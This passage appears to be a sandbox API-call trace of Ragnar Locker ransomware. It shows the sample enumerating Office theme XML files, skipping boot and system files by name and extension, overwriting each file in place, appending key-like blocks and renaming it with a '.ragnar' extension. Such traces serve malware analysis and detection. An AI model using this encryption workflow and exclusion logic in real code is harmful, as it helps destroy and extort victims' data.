[0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="bootsect.bak") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr.efi") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgfw.efi") returned 1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="desktop.ini") returned -1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="iconcache.db") returned -1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="ntldr") returned -1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat") returned -1 [0093.548] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat.log") returned -1 [0093.549] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.ini") returned -1 [0093.549] lstrcmpiW (lpString1="Civic.xml", lpString2="thumbs.db") returned -1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.549] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml")) returned 0x20 [0093.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.549] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.549] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.549] GetProcessHeap () returned 0x580000 [0093.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.550] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.551] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.551] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.551] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.551] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.551] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.551] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.551] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.552] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.552] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.552] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.552] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.552] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.552] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.552] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.552] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.552] GetProcessHeap () returned 0x580000 [0093.552] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.552] CloseHandle (hObject=0x10c) returned 1 [0093.552] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" [0093.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.ragnar_FD7BD9FC" [0093.552] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.553] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0093.553] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.553] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Clarity.xml" | out: lpString1="Clarity.xml") returned="Clarity.xml" [0093.553] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml") returned=".xml" [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="autorun.inf") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="boot.ini") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootfont.bin") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootsect.bak") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr.efi") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgfw.efi") returned 1 [0093.553] lstrcmpiW (lpString1="Clarity.xml", lpString2="desktop.ini") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="iconcache.db") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntldr") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat.log") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.ini") returned -1 [0093.554] lstrcmpiW (lpString1="Clarity.xml", lpString2="thumbs.db") returned -1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.554] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml")) returned 0x20 [0093.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.554] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=926) returned 1 [0093.554] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x395, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.555] GetProcessHeap () returned 0x580000 [0093.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.555] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.556] VirtualAlloc (lpAddress=0x0, dwSize=0x39e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.556] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.556] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.556] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39e, lpOverlapped=0x0) returned 1 [0093.556] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.556] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39e, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.557] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39e, lpOverlapped=0x0) returned 1 [0093.557] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.557] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.557] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x39e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.557] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.557] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.557] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.557] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.557] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.557] GetProcessHeap () returned 0x580000 [0093.557] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.557] CloseHandle (hObject=0x10c) returned 1 [0093.557] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" [0093.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.ragnar_FD7BD9FC" [0093.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.558] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0093.558] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.558] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Composite.xml" | out: lpString1="Composite.xml") returned="Composite.xml" [0093.558] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml") returned=".xml" [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="autorun.inf") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="boot.ini") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="bootfont.bin") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="bootsect.bak") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr.efi") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgfw.efi") returned 1 [0093.558] lstrcmpiW (lpString1="Composite.xml", lpString2="desktop.ini") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="iconcache.db") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="ntldr") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat.log") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.ini") returned -1 [0093.559] lstrcmpiW (lpString1="Composite.xml", lpString2="thumbs.db") returned -1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.559] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml")) returned 0x20 [0093.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.560] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.560] GetProcessHeap () returned 0x580000 [0093.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.560] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.562] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.562] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.562] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.562] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.562] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.562] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.562] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.562] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.562] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.563] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.563] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.563] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.563] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.563] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.563] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.563] GetProcessHeap () returned 0x580000 [0093.563] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.563] CloseHandle (hObject=0x10c) returned 1 [0093.563] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" [0093.563] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.ragnar_FD7BD9FC" [0093.563] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0093.564] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.564] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Concourse.xml" | out: lpString1="Concourse.xml") returned="Concourse.xml" [0093.564] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml") returned=".xml" [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="autorun.inf") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="boot.ini") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootfont.bin") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootsect.bak") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr.efi") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgfw.efi") returned 1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="desktop.ini") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="iconcache.db") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntldr") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat.log") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.ini") returned -1 [0093.564] lstrcmpiW (lpString1="Concourse.xml", lpString2="thumbs.db") returned -1 [0093.564] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.564] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.564] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.564] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.564] lstrcmpiW (lpString1=".xml", 